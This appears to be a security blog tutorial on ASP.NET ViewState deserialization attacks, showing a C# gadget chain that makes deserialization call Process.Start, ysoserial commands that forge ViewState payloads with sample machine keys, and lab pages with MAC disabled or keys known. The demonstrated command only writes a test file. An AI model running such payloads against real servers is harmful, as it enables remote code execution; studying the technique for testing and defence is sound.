Know Further About .NET ViewState Deserialization

The view state is the state of the page and all its controls. It is automatically maintained across posts by the ASP.NET framework. When a page is sent back to the client, the changes in the properties of the page and its controls are determined, and stored in the value of a hidden input field named _VIEWSTATE. When the page is again posted back, the _VIEWSTATE field is sent to the server with the HTTP request.

Event validation checks the incoming values in a POST request to ensure the values are known, good values. If the runtime sees a value it doesn’t know about, it throws an exception.
This parameter also contains serialized data.

void Page_Init (object sender, EventArgs e) 
{
 ViewStateUserKey = Session.SessionID; 
}

How ViewState is used?

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="TestComment.aspx.cs" Inherits="TestComment" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" />
<br />
<br />
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class TestComment : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
Delegate da = new Comparison<string>(String.Compare);
Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = Comparer<string>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add(“cmd”);
set.Add(“/c “ + cmd);
FieldInfo fi = typeof(MulticastDelegate).GetField(“_invocationList”, BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
Stream stream1 = new FileStream(“C:\\Windows\\Temp\\serialnet.txt”, FileMode.Create, FileAccess.Write);
//Serialization using LOSFormatter starts here
//The serialized output is base64 encoded which cannot be directly fed to ObjectStateFormatter for deserialization hence requires base64 decoding before deserialization 
LosFormatter los = new LosFormatter();
los.Serialize(stream1, set);
stream1.Close();
}
protected void Button1_Click(object sender, EventArgs e)
{
string serialized_data = File.ReadAllText(@”C:\Windows\Temp\serialnet.txt”);
//Base64 decode the serialized data before deserialization
byte[] bytes = Convert.FromBase64String(serialized_data);
//Deserialization using ObjectStateFormatter starts here
ObjectStateFormatter osf = new ObjectStateFormatter();
string test = osf.Deserialize(Convert.ToBase64String(bytes)).ToString();
}
}

Now, let’s see the execution of the code at runtime. As soon as the web page is loaded, the code gets executed and a file named serialnet.txt is created in ”C:\Windows\temp” folder with the serialized data which performs the action as highlighted in the code below:

String cmd = “echo 123 > c:\\windows\\temp\\test.txt”;
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
<%@ Page Language=”C#” AutoEventWireup=”true” CodeFile=”hello.aspx.cs” Inherits=”hello” %>
<!DOCTYPE html>
<html xmlns=”http://www.w3.org/1999/xhtml">
<head runat=”server”>
 <title></title>
</head>
<body>
 <form id=”form1" runat=”server”>
 <asp:TextBox id=”TextArea1" TextMode=”multiline” Columns=”50" Rows=”5" runat=”server” />
 <asp:Button ID=”Button1" runat=”server” OnClick=”Button1_Click”
 Text=”GO” class=”btn”/>
 <br />
 <asp:Label ID=”Label1" runat=”server”></asp:Label>
 </form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
 protected void Page_Load(object sender, EventArgs e)
{
}

 protected void Button1_Click(object sender, EventArgs e)
 {
 Label1.Text = TextArea1.Text.ToString();
 }
}

ysoserial.exe -o base64 -g TypeConfuseDelegate
-f ObjectStateFormatter -c "echo 123 > C:\Windows\temp\test.txt" > payload_when_mac_disabled
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public class BasePage : System.Web.UI.Page
{
 protected override void Render(HtmlTextWriter writer)
 {
 StringBuilder sb = new StringBuilder();
 StringWriter sw = new StringWriter(sb);
 HtmlTextWriter hWriter = new HtmlTextWriter(sw);
 base.Render(hWriter);
 string html = sb.ToString();
 html = Regex.Replace(html, “<input[^>]*id=\”(__VIEWSTATE)\”[^>]*>”, string.Empty, RegexOptions.IgnoreCase);
 writer.Write(html);
 }
}
public partial class hello : BasePage
{
 protected void Page_Load(object sender, EventArgs e)
 {
}

 protected void Button1_Click(object sender, EventArgs e)
 {
 Label1.Text = TextArea1.Text.ToString();
 }
}

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
 <machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac=”true” />
</system.web>
</configuration>
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
   <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class hello : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
{
}
 protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}
<?xml version=”1.0" encoding=”UTF-8"?>
<configuration>
<system.web>
<customErrors mode=”Off” />
 <machineKey validation=”SHA1" validationKey=”C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac=”true” />
</system.web>
</configuration>

We receive an error once the request is processed. However, we can see below that the payload got executed and a file test.txt with content “123” was created successfully.

<httpRuntime targetFramework=”4.5" />

Alternatively, this can be done by specifying the below option inside the machineKey paramter of web.config file.

compatibilityMode=”Framework45"

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c “echo 123 > c:\windows\temp\test.txt” --path=”/site/test.aspx/” --apppath=”/directory” — decryptionalg=”AES” --decryptionkey=”EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg=”SHA1" --validationkey=”B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="test.aspx.cs" Inherits="test" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
        <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
        <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"
                 Text="GO" class="btn"/>
  <br />
        <asp:Label ID="Label1" runat="server"></asp:Label>
    </form>
</body>
</html>
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
    }
protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
 }
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

When the Go button in the UI is clicked, the below request is sent. Note that the value of __VIEWSTATEGENERATOR is 75BBA7D6 at the moment. With the help of islegacy and isdebug switch of the ysoserial payload generator, we can try to guess the values of path and apppath.

In the ysoserial tool, generate a payload as shown below with different values of path and apppath parameters. Once the generated value of the __VIEWSTATEGENERATOR matches the one present in the web application’s request, we can conclude that we have the correct values.

In the above screenshot, the second request has provided us the correct value for the __VIEWSTATEGENERATOR parameter. Thus, we can use the values of path and apppath for generating a valid payload. The command would be now:

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"

Note that we are also required to URL encode the generated payload, to be able to use it in our example. After replacing the URL encoded value of the generated payload with the value of the __VIEWSTATE in the above shown request, our payload will execute. This can be observed below:

ysoserial.net-master\ysoserial.net-master\ysoserial\bin\Debug>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/test.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --viewstateuserkey="randomstringdefinedintheserver"
using System;
using System.Collections.Generic;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Text.RegularExpressions;
using System.Text;
using System.IO;
public partial class test : System.Web.UI.Page
{
 void Page_Init (object sender, EventArgs e)
  { 
   ViewStateUserKey = "randomstringdefinedintheserver"; 
  }
    protected void Page_Load(object sender, EventArgs e)
    {
    }
protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
}
    protected void Button1_Click(object sender, EventArgs e)
    {
        Label1.Text = TextArea1.Text.ToString();
    }
}

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *